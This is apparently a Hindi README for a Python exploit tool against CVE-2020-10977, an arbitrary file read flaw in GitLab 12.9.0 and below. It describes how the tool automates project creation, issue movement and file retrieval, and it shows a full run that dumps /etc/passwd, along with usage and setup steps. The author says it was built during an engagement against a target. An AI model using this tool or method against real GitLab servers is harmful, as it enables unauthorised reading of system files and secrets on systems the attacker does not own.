
GitLab 12.9.0 मनमाना फ़ाइल पठन
लक्ष्य : 12.9.0 और नीचे तक
परीक्षित : GitLab 12.8.1
हाल ही में एक अभियान में मुझे लक्ष्य पर एक GitLab इंस्टेंस मिला, मुझे Exploit-DB पर एक PoC मिला लेकिन यह प्रमाणीकरण के लिए LDAP का उपयोग करता है और इस मामले में यह अक्षम था, इसलिए मैंने यह पायथन स्क्रिप्ट बनाई जो वेब GUI का उपयोग करके प्रमाणीकरण कर सकती है, मूल PoC की तरह यह दो प्रोजेक्ट बनाएगा, एक प्रोजेक्ट में दुर्भावनापूर्ण पेलोड के साथ एक इश्यू बनाएगा और इस इश्यू को एक प्रोजेक्ट से दूसरे में स्थानांतरित करेगा और स्वचालित रूप से फ़ाइल सामग्री पढ़ेगा।
मैंने कुछ चीज़ें जोड़ी हैं जैसे कि स्क्रिप्ट आपसे वह पूर्ण पथ पूछेगी जिसे आप पढ़ना चाहते हैं, इसकी सामग्री प्रिंट करने के बाद यह दूसरे पथ के लिए पूछेगी और बाहर निकलने पर सफ़ाई करेगी, जब आप CTRL+C का उपयोग करके स्क्रिप्ट से बाहर निकलेंगे तो दोनों प्रोजेक्ट स्वतः हटा दिए जाएंगे।
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : http://localhost
[+] Username : twh
[+] Password : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!
pip3 install requests bs4
लक्ष्य GitLab पर एक खाता पंजीकृत करें और स्क्रिप्ट के साथ समान क्रेडेंशियल का उपयोग करें
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password
positional arguments:
url Target URL with http(s)://
username GitLab Username
password GitLab Password
optional arguments:
-h, --help show this help message and exit
vakzz को धन्यवाद जिन्होंने GitLab में इस बग की खोज की।
KouroshRZ को धन्यवाद जिन्होंने इस शोषण के लिए PoC बनाया।